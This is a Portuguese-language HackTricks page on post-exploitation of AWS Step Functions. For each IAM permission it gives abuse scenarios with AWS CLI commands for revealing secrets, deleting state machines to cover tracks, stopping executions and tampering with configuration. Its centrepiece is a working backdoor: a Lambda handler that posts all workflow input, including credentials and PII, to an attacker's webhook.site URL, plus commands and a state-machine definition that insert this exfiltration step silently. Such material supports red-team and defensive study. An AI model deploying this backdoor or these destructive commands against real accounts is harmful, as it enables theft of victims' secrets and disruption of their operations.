AWS - Step Functions Pós Exploração
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Step Functions
Para mais informações sobre este serviço AWS, consulte:
states:RevealSecrets
Esta permissão permite revelar dados secretos dentro de uma execução. Para isso, é necessário definir o nível de Inspeção como TRACE e o parâmetro revealSecrets como true.
.png)
states:DeleteStateMachine
, states:DeleteStateMachineVersion
, states:DeleteStateMachineAlias
Um atacante com essas permissões seria capaz de excluir permanentemente máquinas de estado, suas versões e aliases. Isso pode interromper fluxos de trabalho críticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as máquinas de estado afetadas. Além disso, permitiria que um atacante cobrisse os rastros utilizados, interrompesse investigações forenses e potencialmente paralisasse operações ao remover processos de automação essenciais e configurações de estado.
note
- Ao excluir uma máquina de estado, você também exclui todas as suas versões e aliases associados.
- Ao excluir um alias de máquina de estado, você não exclui as versões da máquina de estado que referenciam esse alias.
- Não é possível excluir uma versão de máquina de estado atualmente referenciada por um ou mais aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Impacto Potencial: Interrupção de fluxos de trabalho críticos, perda de dados e tempo de inatividade operacional.
states:UpdateMapRun
Um atacante com essa permissão seria capaz de manipular a configuração de falha do Map Run e a configuração paralela, podendo aumentar ou diminuir o número máximo de execuções de fluxos de trabalho filhos permitidos, afetando diretamente o desempenho do serviço. Além disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo diminuir esse valor para 0, de modo que toda vez que um item falhar, todo o map run falharia, afetando diretamente a execução da máquina de estados e potencialmente interrompendo fluxos de trabalho críticos.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Impacto Potencial: Degradação de desempenho e interrupção de fluxos de trabalho críticos.
states:StopExecution
Um atacante com esta permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
warning
Esta ação não é suportada por máquinas de estado expressas.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Impacto Potencial: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e potencial corrupção de dados.
states:TagResource
, states:UntagResource
Um atacante poderia adicionar, modificar ou remover tags de recursos do Step Functions, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Impacto Potencial: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
states:UpdateStateMachine
, lambda:UpdateFunctionCode
Um atacante que comprometer um usuário ou função com as seguintes permissões:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...pode conduzir um ataque de pós-exploração de alto impacto e furtivo combinando backdooring do Lambda com manipulação da lógica do Step Function.
Este cenário assume que a vítima usa AWS Step Functions para orquestrar fluxos de trabalho que processam entradas sensíveis, como credenciais, tokens ou PII.
Exemplo de invocação da vítima:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Se a Step Function estiver configurada para invocar um Lambda como LegitBusinessLogic
, o atacante pode prosseguir com duas variantes de ataque furtivas:
Atualizou a função lambda
O atacante modifica o código da função Lambda já utilizada pela Step Function (LegitBusinessLogic
) para exfiltrar silenciosamente os dados de entrada.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Adicionar um Estado Malicioso à Função de Etapa
Alternativamente, o atacante pode injetar um estado de exfiltração no início do fluxo de trabalho atualizando a definição da Função de Etapa.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
O atacante pode ser ainda mais furtivo ao atualizar a definição de estado para algo como isto { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } onde a vítima não perceberá a diferença
Configuração da Vítima (Contexto para Exploração)
- Uma Step Function (
LegitStateMachine
) é usada para processar entradas sensíveis do usuário. - Ela chama uma ou mais funções Lambda, como
LegitBusinessLogic
.
Impacto Potencial:
- Exfiltração silenciosa de dados sensíveis, incluindo segredos, credenciais, chaves de API e PII.
- Sem erros ou falhas visíveis na execução do fluxo de trabalho.
- Difícil de detectar sem auditar o código Lambda ou rastros de execução.
- Permite persistência a longo prazo se o backdoor permanecer no código ou na lógica ASL.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.